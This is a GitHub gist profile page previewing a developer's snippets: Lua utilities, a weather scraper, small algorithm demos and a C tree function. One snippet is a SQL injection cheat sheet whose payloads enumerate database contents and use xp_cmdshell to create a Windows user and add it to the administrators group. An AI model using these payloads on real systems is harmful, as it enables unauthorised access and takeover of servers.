Skip to content

Instantly share code, notes, and snippets.

View rangercyh's full-sized avatar
☠️
苟且偷生

caiyiheng rangercyh

☠️
苟且偷生
View GitHub Profile
--按照table中数值key的升序或者降序遍历table的迭代器
--nSortType传1为降序,不传默认为升序
--使用示例(降序遍历tbtest):for k, v in gf_PairsByKeys(tbtest, 1) do
function gf_PairsByKeys(tbArray, nSortType)
local tbkey = {}
for key, value in pairs(tbArray) do
if type(key) == "number" then
tbkey[#tbkey+1] = key
end
end
@rangercyh
rangercyh / generate_team.lua
Created December 5, 2013 03:40
generate team from multi small group
g_requireTeamNum = 6
g_teamNumLowLimit = 3
g_teamNumHighLimit = 7
--[[
[1] = {
["teamLink"] = {},
["totalNum"] = 4,
["state"] = 1, --1代表不需要匹配,其他为需要匹配
}
@rangercyh
rangercyh / weather.lua
Last active March 20, 2023 08:33
get weather api from china weather web
local http = require "socket.http"
local json = require "json"
local pfile = io.open("province", "w")
local cfile = io.open("city", "w")
local dfile = io.open("district", "w")
local provinces = {}
local citys = {}
local districts = {}
// write by XiongYi
TreeLinkNode *GetNextNode(TreeLinkNode *root, int seq_req) {
int seq_init = 1;
while (seq_init < seq_req) {
if (IsInLeft(seq_init, seq_req)) {
root = root->left;
seq_init = seq_init * 2;
}
else {
--激活码生成代码 1.0 beta版
--creator: caiyiheng
--需要和这次排重的前缀:
--PT,VP,WB,WL,SE,WY,TX,XX,GM,DG,DH,RA,RB,RC,EX,XL,GP,GZ,PP,PZ,HD,HG,WX,AW,B1,B2,B3
local new_code = {
[73] = { "备用1.txt", "XX", 10000000 },
}
int nState = m;
int mask1 = OLD_STATE;
int mask2 = DEST_STATE;
for (int i = 0; i < nPos; ++i)
{
mask1 = mask1 << nBit;
mask2 = mask2 << nBit;
}
nState = nState ^ mask1;
nState = nState | mask2;
id=1 and 1=1
id=1 and 1=2
id=1 and db_name()>0
id=1 and user>0
id=1 and (select count(*) from xx)>0
id=1 and (select cout(xxx) form xx)>0
id=1 and (select top 1 len(xxx) from xx)>0 ->1,2,3......
id=1 and (select top 1 asc(mid(xxx,1,1)) form xx)>0 -> 1-128
id=1;exec master..xp_cmdshell "net user username passwd /add"--
id=1;exec master..xp_cmdshell "net localgroup username administrators /add"--
@rangercyh
rangercyh / maze24.lua
Last active August 29, 2015 14:04
lua code to solve maze 24 and any target though + - * /. Original source:http://blog.henix.info/dig/reverse-polish-notation-catalan-number/_.html
--[[
24点解法:4个数字的逆波兰式形式只有以下5种。1代表数字,+代表运算符,括号隐藏在逆波兰式的形式中
1111+++
111+1++
111++1+
11+11++
11+1+1+
]]
local target = 24
@rangercyh
rangercyh / diffie-hellman.lua
Created September 23, 2014 01:32
diffe-hellman algorithm simple code
--[[
diffie-hellman算法简单代码
]]
local low = 10 --约定的随机数集合
local high = 20
local Alice = {}
function Alice:CreateSecret()
self.g = 2
self.p = 1019 --素数
@rangercyh
rangercyh / lzw.lua
Created September 23, 2014 04:03
lzw algorithm simple code
function lzwCode(szSource, nBeginCode)
local tbOutput = {}
local tbChar = {}
local szPrefix = ""
local tbToken = {}
local nTokenCode = nBeginCode
for szChar in string.gmatch(szSource, ".") do
tbChar[szChar] = true
if szPrefix == "" then
szPrefix = szChar